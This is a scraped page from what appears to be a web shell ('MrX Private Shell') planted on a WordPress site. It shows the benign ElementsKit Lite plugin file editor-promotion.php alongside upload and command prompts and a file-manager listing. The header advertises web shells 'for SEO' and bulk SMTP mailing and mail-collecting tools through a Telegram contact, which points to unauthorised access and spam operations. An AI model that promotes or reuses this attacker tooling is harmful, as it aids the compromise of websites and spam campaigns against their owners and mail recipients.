__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace ElementsKit_Lite\Core;

defined('ABSPATH') || exit;

class Editor_Promotion{

	use \ElementsKit_Lite\Traits\Singleton;

	public function init() {
		// Enqueue promotion scripts
		add_action('elementor/editor/before_enqueue_scripts', [$this, 'enqueue_editor_scripts']);
	}

	/**
	 * Get promotion widgets data
	 */
	private function get_promotion_widgets_data() {
		$widget_list = \ElementsKit_Lite\Config\Widget_List::instance()->get_list('all');
		$current_tier = \ElementsKit_Lite\Utils::get_tier();
		$promotion_data = [];


		foreach ($widget_list as $slug => $widget) {
			$is_pro_disabled = isset($widget['package']) && $widget['package'] === 'pro-disabled';
			$is_tier_locked  = isset($widget['package']) && $widget['package'] === 'pro'
				&& isset($widget['tier']) && ! \ElementsKit_Lite\Utils::is_tier($widget['tier']);

			if ($is_pro_disabled || $is_tier_locked) {
				// Check if widget has tier restrictions
				$tier_restricted = isset($widget['tier']);

				$promotion_data[] = [
					'name' => 'ekit-' . $slug,
					'title' => isset($widget['title']) ? $widget['title'] : ucwords(str_replace('-', ' ', $slug)),
					'icon' => isset($widget['icon']) ? $widget['icon'] : 'eicon-star',
					'categories' => ['elementskit'],
					'promotion' => [
						'title' => sprintf(__('%s Widget', 'elementskit-lite'), isset($widget['title']) ? $widget['title'] : ucwords(str_replace('-', ' ', $slug))),
						'description' => $is_tier_locked
							? sprintf(
								__('The %1$s widget requires a %2$s or higher plan. Upgrade your current %3$s plan to access this widget and other advanced features.', 'elementskit-lite'),
								isset($widget['title']) ? $widget['title'] : ucwords(str_replace('-', ' ', $slug)),
								ucfirst($widget['tier']),
								ucfirst($current_tier)
							)
							: sprintf(
								__('Unlock the %s widget and dozens of powerful ElementsKit Pro features to design faster, smarter, and more flexible websites.', 'elementskit-lite'),
								isset($widget['title']) ? $widget['title'] : ucwords(str_replace('-', ' ', $slug))
							),
						'upgrade_url' => 'https://wpmet.com/plugin/elementskit/pricing/',
						'upgrade_text' => __('Upgrade Now', 'elementskit-lite'),
						'tier_restricted' => $tier_restricted,
						'required_tier' => isset($widget['tier']) ? $widget['tier'] : null,
						'current_tier' => $current_tier,
					],
				];
			}
		}
		return $promotion_data;
	}

	/**
	 * Enqueue editor scripts for promotion
	 */
	public function enqueue_editor_scripts() {
		$promotion_widgets = $this->get_promotion_widgets_data();

		wp_enqueue_script(
			'elementskit-editor-promotion',
			\ElementsKit_Lite::widget_url() . 'init/assets/js/editor-promotion.js',
			['elementor-editor', 'elementor-common'],
			\ElementsKit_Lite::version(),
			true
		);

		wp_localize_script(
			'elementskit-editor-promotion',
			'ekitPromotion',
			[
				'promotionWidgets' => $promotion_widgets,
				'upgradeUrl' => 'https://wpmet.com/plugin/elementskit/pricing/',
				'debug' => true,
				'i18n' => [
					'proFeature' => __('Pro Feature', 'elementskit-lite'),
					'upgradeNow' => __('Upgrade Now', 'elementskit-lite'),
					'learnMore' => __('Learn More', 'elementskit-lite'),
				],
			]
		);

		// Enqueue styles
		wp_enqueue_style(
			'elementskit-editor-promotion',
			\ElementsKit_Lite::widget_url() . 'init/assets/css/editor-promotion.css',
			[],
			\ElementsKit_Lite::version()
		);
	}
}

Filemanager

Name Type Size Permission Actions
activation-actions.php File 926 B 0664
build-inline-scripts.php File 1012 B 0664
build-modules.php File 1.1 KB 0664
build-widgets.php File 2.76 KB 0664
config-list.php File 1.65 KB 0664
editor-promotion.php File 3.37 KB 0664
handler-api.php File 1.1 KB 0664
handler-widget.php File 723 B 0664
Filemanager